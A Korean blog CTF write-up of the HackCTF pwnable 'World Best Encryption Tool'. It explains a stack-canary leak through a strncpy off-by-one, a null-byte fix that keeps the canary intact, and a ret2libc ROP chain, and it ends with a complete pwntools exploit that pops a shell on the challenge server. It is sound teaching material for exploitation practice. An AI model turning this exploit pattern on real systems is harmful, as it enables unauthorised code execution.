ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • <HackCTF - World Best Encryption Tool> Write-Up
    WeekHack/Pwnable 2019. 6. 25. 05:06
    반응형
    SMALL

    안녕하세요. Luke입니다.

    시험기간이라 이래저래 문제는 풀면서도 Write-Up을 잘 쓰지 않은 것 같군요. 오랜만입니다!

    비록 시험은 아직 안끝났지만 문제는 꾸준히 풀어 나가려 합니다. HackCTF의 경우 쉬운문제(?)들은 사실상 다 풀었고 이제 FSB를 조금 만져보고 있습니다. 사실 푼 문제를 다 라업쓰려했는데, HackCTF 문제가 너무많아서... 인상깊었거나 어려운 문제들만 라업쓰려 합니다. 이제 문제 풀이 시작하겠습니다.

     

    저희 KorNewbie 팀의 김현식님(Gyul)께서 내주신 문제입니다. 개인적으로 제가 풀어본 문제 중 좋은 문제로 꼽는 문제 일 것 같습니다. 기초가 튼튼해야 풀 수 있는 문제 같습니다.

    https://ctf.j0n9hyun.xyz/challenges#World%20Best%20Encryption%20Tool

     

    HackCTF

    Do you wanna be a God? If so, Challenge!

    ctf.j0n9hyun.xyz

     

    일단 바이너리를 실행 시켜 보았습니다.

    먼저 이렇게 text를 입력하라 한 다음에, 텍스트를 입력하면,

    이렇게 암호화된 텍스트를 주고 다시 암호화를 할 거 냐고 물어봅니다. 왠지 느낌이오죠? BOF의 느낌이 입력에서?

     

    일단 메모리 보호기법부터 체크해보았습니다.

    Canary와 NX가 걸려있습니다. Relro는 Partial이라 크게 신경 안 써도 될 것 같습니다.

     

    그럼 뭐 NX는 수도없이 많이 해봤고(ROP), Canary는 제가 며칠 전에 Penguin으로 익혔었죠? 그렇게 익스하면 되겠어요!

     

    일단 IDA로 분석을 해보았습니다.(참고로 64비트 바이너리입니다)

    이게 main입니다. 사실상 이 함수말고 크게 다른 함수는 필요가 없습니다.

     

    입력을 받는 부분을 살펴보죠.

    src로 입력을 받아서 57크기만큼 dest로 strncpy합니다.(이게 함정입니다 ㅋㅋ 스포하자면)

    그럼 이제 버퍼들을 조금 살펴 볼까요? 우리가 아까 유심있게 봤던 src이후로 살펴보겠습니다.

    src가 64만큼, dest가 56만큼 그리고 얄미운 Canary가 8만큼의 크기를 차지하고 있네요.

     

    그럼 우리가 가장 먼저 해야할건? Canary의 Leak이겠지요? 카나리를 릭 안해주면 또 Stack Smashed 뜨면서 스택을 후려 칠테니 말이죠.

     

    그래서 Dummy인 A를 56개 만큼 넣고 다른 더미 값(저는 B를 넣었습니다.) 카나리의 첫 바이트 \x00을 덮어서 문자열이 종료되는(?) 것을 막아 카나리를 leak해줍니다.

    (혹시 이해 못하신 분을 위해: 처음 scanf가 아닌 strncpy로 57바이트를 dest로 옮깁니다. 그래서 dest를 기준으로 오버플로우 해서 canary를 구할 수 있습니다)

    실행시키면..!

    이렇게 익스를 방해하고 있던 흉악한(?) 까나리가 나오게 됩니다.

     

    그럼 이제 이걸 조금 정리해서 가져오겠습니다.

    이렇게 하면 canary가 leak되어서 canary_leak이라는 변수안에 들어갑니다. 또 출력도 해주죠

    더럽고 추악한 Canary가 드디어 모습을 드러냈습니다.

     

    이제 Yes를 해서 다시 실행시켜 줍니다.

     

    그 다음으로 할 일은 이제 canary를 구했으니 ROP만이 남았겠죠?(이 단계에서 엄청청난 반전이 있습니다)

    아까 strncpy는 안타깝지만 57크기 밖에 못받아오니, 첫번째 scanf에서 오버플로우를 해야 할 것 같습니다.

    그럼 페이로드 구성은 어떻게 해야할까요?

    상식적으로

    src(64)+dest(56)+canary(8)+SFP(8)+RET

    이겠지요?

    그럼

    120+Canary+8+RET이겠네요?

     

    Dummy를 120개를 넣었습니다. 카나리도 넣어주고, 또 더미를 8개를 꽉꽉 밀어줍니다. 그럼 Canary도 맞춰줬겠다 Stack이 스매쉬가 안되야겠쥬?

    근데 또 뜨네? 아오 이 까나리 뭐가 문제야?(제가 여기서 정말 삽질에 삽질을 했습니다.)

    짜증나는 까나리...

    여기서 여러분은 놓친게 하나 있습니다. 제 말을 그대로 듣고 그대로 익스하셨거나 저같이 생각을 했다면요 ㅋㅋ

     

    자 다시 한번 IDA 유사코드를 보겠습니다.

    뭔가 보이십니까?

    (처음에 안보이면 두번은 잘 안보인다 읍읍..)

     

    아직 모르시겠다고요?

    발로 그린 그림이지만, 이 그림을 보면서 설명하겠습니다.

     

    우리는 1번 scanf에서 버퍼들을 넣어줬습니다. 페이로드와 함께 말이죠. 어떻게 덮었을까요오~~?

    src(64)+dest(56) 에 더미로 덮고 Canary를 넣고, 다시 SFP(8)에 더미를 넣었죠.

    그럼 여기서 기초적인 부분을 다시 짚고 넘어갈 필요가 있습니다.

     

    Return Address를 조작했습니다. 조작된 명령을 수행했습니다. 명령이 끝나면 무엇을 할까요? 남아있는 명령을 실행합니다.

    이게 핵심입니다.

     

    우리는 분명 A로 모든 걸 덮었습니다.

    src도 dest도 말이죠.

     

    근데 뒤에 뭐가 있습니까 2번에?

    2번에 strncpy가 있네요. src에 있는걸 dest로 옮겨주는?

    그럼 여러분은 또 질문하시겠지요!

    어차피 src도 A(더미)이고 dest도 A(더미)인데 뭐가 문제야? 라고 말이에요.

    그런데 strncpy에서 복사하는 바이트 수를 보십시오, 0x39(57)입니다. 그런데 src의 전체 크기가 56밖에 되지 않습니다. 1byte는 왜 여유를 준거냐고요?

     

    여유있는 삶을 위한 프로그래머의 읍읍.. 아닙니다.

     

    어쨋든 1byte는 왜 있는 건가 이걸 보겠습니다. strncpy의 특징은 아래와 같습니다.

    출처: IBM(https://www.ibm.com/support/knowledgecenter/ko/ssw_ibm_i_73/rtref/strncpy.htm)

    남은 문자는? null로 채워진다!

    정상적인 입력이라면 56만큼 입력 받고(그 바이트에 null이 있지 않는한) 남은 한 바이트를 null로 채우겠지요. 그렇지만 만약, IF,

    그 한바이트가 null이 되지 않게 Oveflow가 되어서 무슨 문자가 있다면? Null없이 그냥 그 문자도 함께 복사 되는겁니다.

     

    그럼 여기서 우리의 Payload를 다시 살펴봅시다.

    우리는 A로 src를 덮고, dest도 덮고 Canary를 넣고 8바이트의 더미를 넣었습니다.

     

    그 다음에 일어날 일은

     

    strncpy가 우리가 다만든 페이로드에 재를 뿌리는거죠.

    src를 복사해와서 dest에 덮어버립니다. Canary의 첫 바이트가 Null이 되어야 하는데... Dummy에 있는 한 바이트가 뚱딴지 같이 들어오게 되는거죠. 그럼 우리의 암호화툴은... Stack에 스매쉬를 날리게 되는 거구요.

    우리의 카나리는 널널할 수가 업서..

    그럼 어떻게 해야할까요? 단순합니다!

    strncpy에서 57번째 바이트에 수작업으로(?) 널을 넣어주면 됩니다. 그럼 카나리의 첫바이트는 다시 널널해지니, 마음을 열고 우리가 익스를 하게 해주겠지요.

     

    다시 페이로드를 짜보겠습니다. 아까의 페이로드를 기억하면, 우리가 필요했던 더미는 src+dest 총 120바이트였습니다.

    그 중 먼저 56바이트를 넣고, Null을 넣어서 57바이트가 복사되어도 문제 없게 해준 다음에, 남은 64바이트를 넣어서 더미를 완성합니다. 결론적으로 페이로드는

    Dummy(56)+\x00(1)+Dummy(63)+Canary(8)+SFP(8)+RET 이 되게 됩니다.

     

    그럼 확인을 해봐야겠죠?

    실행을 하면..!

    아까같이 stack smashed는 뜨지 않습니다. Canary우회에 성공했습니다.

     

    그럼 이제 본격적으로 ROP를 해볼까요?

     

    일단 필요한 준비물을 모아봅시다

    pop rdi 가젯

    main의 주소 

    puts plt

    setvbuf got

     

    이정도가 될 것 같군요.

    (정확히는 잘 모르지만 printf나 puts를 got로 쓸 경우 익스에 문제가 생깁니다. 중간에 익스를 끊는 문자열이 포함되어 있는 것이 아닐까 조심스럽게 예측해봅니다. 정말 저도 이건 왜 그런지 모릅니다. 아시는 분 있으면 댓글로 알려주시면 감사히 배우겠습니다.)

     

    일단 pop rdi 가젯을 구해보겠습니다.

    구했습니다. 0x004008e3

     

    뭐 나머지는 pwntools의 기능으로 쓸 수 있을 것 같네요.

    익스 시나리오를 짜봅시다.

     

    일단 leak을 해서 setvbuf_got 주소를 알아낸 다음, main함수로 돌아가게 합니다.

    그 다음, libc_base를 만들어 거기에 system함수의 libc 심볼을 더해 binsh문자열을 넣고 실행을 똭 시키면

    쉘일 따일 것 같군요.

     

    익스 코드를 짜봅시다!

    익스코드는 아래와 같습니다.

    from pwn import *
    #context.log_level = 'debug'
    
    bina="./World_best_encryption_tool"
    p=remote('ctf.j0n9hyun.xyz',3034)
    #p=process(bina)
    e=ELF(bina)
    libc=e.libc
    
    puts_plt=e.plt['puts']
    puts_got=e.got['puts']
    printf_plt=e.plt['printf']
    printf_got=e.got['printf']
    setvbuf_got=e.got['setvbuf']
    main=e.symbols['main']
    pr=0x004008e3
    
    p.recvuntil('Your text)\n')
    pay="A"*56+"B"
    p.sendline(pay)
    p.recvuntil("AAAAAA")
    canary=p.recv(8)
    log.success(canary)
    canary=u64(canary)-ord("B")
    log.success(canary)
    log.success("Canary leak: "+hex(canary))
    
    p.recvuntil('Wanna encrypt other text? (Yes/No)')
    p.sendline('Yes')
    
    p.recvuntil('Your text)')
    ropay="A"*56
    ropay+="\x00"
    ropay+="B"*63
    ropay+=p64(canary)
    ropay+="A"*8
    ropay+=p64(pr)
    ropay+=p64(setvbuf_got)
    ropay+=p64(puts_plt)
    ropay+=p64(main)
    p.sendline(ropay)
    
    p.recvuntil('Wanna encrypt other text? (Yes/No)')
    p.sendline('No')
    p.recv(1024)
    setvbuf_leak=p.recv(6)
    setvbuf_leak=u64(setvbuf_leak+"\x00\x00")
    log.success("setvbuf_leak: "+hex(setvbuf_leak))
    base=setvbuf_leak-libc.symbols['setvbuf']
    log.success("libc base: "+hex(base))
    system_addr=base+libc.symbols['system']
    log.success("system addr: "+hex(system_addr))
    binsh=base+next(libc.search('/bin/sh'))
    
    p.recvuntil('Your text)')
    expay="A"*56
    expay+="\x00"
    expay+="B"*63
    expay+=p64(canary)
    expay+="A"*8
    expay+=p64(pr)
    expay+=p64(binsh)
    expay+=p64(system_addr)
    expay+="A"*8
    p.sendline(expay)
    
    p.recvuntil('Wanna encrypt other text? (Yes/No)')
    p.sendline('No')
    p.interactive()

     

    이걸 실행하면..!

    다음과 같이 flag를 얻을 수 있습니다!

     

    이 문제는 정말 개인적으로 풀면서도 재밌는 문제였습니다. 조만간 이제 FSB를 들고 와보겠습니다 ㅋㅋ 다음에 뵈요~

    반응형
    LIST

    댓글

Copyright ⓒ 2019, WeekHack